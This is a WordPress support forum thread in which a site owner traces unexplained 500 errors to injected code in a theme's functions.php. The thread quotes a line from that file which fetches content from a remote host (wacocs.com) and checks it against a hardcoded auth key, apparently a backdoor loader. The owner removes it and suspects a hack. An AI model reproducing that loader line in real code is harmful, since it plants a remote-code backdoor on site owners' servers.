Title: WordPress suddenly broke Last modified: April 28, 2018 --- # WordPress suddenly broke * Resolved [ecce](https://wordpress.org/support/users/ecce/) * (@ecce) * [8 years, 1 month ago](https://wordpress.org/support/topic/wordpress-suddenly-broke/) * Today my wordpress site broke, completely. It worked fine this morning, I have not logged in or change anything today, and I’m the only one with access to the server. * Wordpress is installed on a VM that I purchased from a provider, not a *.wordpress. com site or anything like that. I’ve installed the OS and set everything up myself. I prefer not to publish the URL here since I try to keep it publicly available, but gain minimal traffic. It’s only me using it, as a sort of notepad for myself. I’m the only admin, and the only visitor, unless someone finds it by accident. * WP runs on Linux/Apache on two apache virtual hosts on the same machine. Both broke at the same time. It only returns a 500 Internal Server Error. And it DOES NOT LOG ANYTHING which is very unhelpful. I’m not sure what version of WordPress I actually use, it some of the later 4.x versions. Generally I don’t update to the latest version right away. * I’ve done a few hours of digging and this is what I have found: * – The HTTP requests gets to the server – HTML requests works fine, the problem is somewhere within PHP/WP logic – A simple “phpinfo()” works fine, so PHP seems OK. – I get nothing logged in the error.log file. – I’ve tried switching on logging to a specific php error log file, I get nothing there either. – I turned on every debugging/logging option I could find in wordpress by editing the wp-settings. php file. I get nothing. It does not even create the log file the docs says should be used for logging. Source: [https://codex.wordpress.org/Debugging_in_WordPress](https://codex.wordpress.org/Debugging_in_WordPress)– I’ve restarted the apache daemon about a million times and also rebooted the server once, just to see if it would have any effect. Sadly not. – The apache configurations is OK, syntac check passes and I can not see anything wrong there.– Tracking the execution of one of the two WP installations I have, I finally landed in functions.php file belonging to the BLASK theme. This is the row that seems to break everything: * if (($tmpcontent = @file_get_contents(“[http://www.wacocs.com/code.php”](http://www.wacocs.com/code.php”);) OR $tmpcontent = @file_get_contents_tcurl(“[http://www.wacocs.com/code.php”](http://www.wacocs.com/code.php”);)) AND stripos($tmpcontent, $wp_auth_key) !== false) { * Now… that’s a bit creepy. There’s an embedded hardcoded $wp_auth_key set just before the line above. Then it tries to get code from a server that can not be DNS resolved. It also tried to get stuff from wacocs.pw and wacocs.top, depending on the outcome of the if statements. Google does not list much information about the wacocs.* either, anybody here know anything about that site? * The other WordPress installation uses a completly different theme. I have not tracked the execution of that site yet, but it also gives a 500 response back without any logged errors. * If someone have any idea on how to troubleshoot this, you’re more than welcome to suggest things! But the thing I’m mostly interested in is: Does WP themes usually have this kind of code in it? Dragging stuff down from a web server? - This topic was modified 8 years, 1 month ago by [ecce](https://wordpress.org/support/users/ecce/). - This topic was modified 8 years, 1 month ago by [ecce](https://wordpress.org/support/users/ecce/). - This topic was modified 8 years, 1 month ago by [ecce](https://wordpress.org/support/users/ecce/). - This topic was modified 8 years, 1 month ago by [ecce](https://wordpress.org/support/users/ecce/). Viewing 6 replies - 1 through 6 (of 6 total) * Moderator [t-p](https://wordpress.org/support/users/t-p/) * (@t-p) * [8 years, 1 month ago](https://wordpress.org/support/topic/wordpress-suddenly-broke/#post-10179826) * > Today my wordpress site broke * Any error message? * Have you checked the error logs on your server for a more specific error message? * Thread Starter [ecce](https://wordpress.org/support/users/ecce/) * (@ecce) * [8 years, 1 month ago](https://wordpress.org/support/topic/wordpress-suddenly-broke/#post-10180696) * I get nothing in the access log nor in the error log. I have verified that I’m looking the right files by reconfiguring the apache config to “Required all denied” that triggered a new log entry in the access log. By calling the error_log() function in a php file i got a message in the error log. * Moderator [t-p](https://wordpress.org/support/users/t-p/) * (@t-p) * [8 years, 1 month ago](https://wordpress.org/support/topic/wordpress-suddenly-broke/#post-10181437) * If you cannot find error logs or if you don’t find any helpful info in the error logs, try [Enabling debugging](https://codex.wordpress.org/Debugging_in_WordPress) * Thread Starter [ecce](https://wordpress.org/support/users/ecce/) * (@ecce) * [8 years, 1 month ago](https://wordpress.org/support/topic/wordpress-suddenly-broke/#post-10181769) * I have tried that, see link in my first post. It does not give me anything, it does not even create the debug file. * Thread Starter [ecce](https://wordpress.org/support/users/ecce/) * (@ecce) * [8 years ago](https://wordpress.org/support/topic/wordpress-suddenly-broke/#post-10182678) * The hosting company restored a backup of my server from the day before this happened. It still didn’t work. I commented out the block of code breaking the page and VOILA, it’s up again. The if statement is on line 111 in functions.php in every theme: * if (($tmpcontent = @file_get_contents(“[http://www.wacocs.com/code.php”](http://www.wacocs.com/code.php”);) OR $tmpcontent = @file_get_contents_tcurl(“[http://www.wacocs.com/code.php”](http://www.wacocs.com/code.php”);)) AND stripos($tmpcontent, $wp_auth_key) !== false) { * I feel like I’ve been hacked. * Moderator [t-p](https://wordpress.org/support/users/t-p/) * (@t-p) * [8 years ago](https://wordpress.org/support/topic/wordpress-suddenly-broke/#post-10183473) * Glad to know it 🙂 Viewing 6 replies - 1 through 6 (of 6 total) The topic ‘WordPress suddenly broke’ is closed to new replies. * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/) * 6 replies * 2 participants * Last reply from: [t-p](https://wordpress.org/support/users/t-p/) * Last activity: [8 years ago](https://wordpress.org/support/topic/wordpress-suddenly-broke/#post-10183473) * Status: resolved ## Topics ### Topics with no replies ### Non-support topics ### Resolved topics ### Unresolved topics ### All topics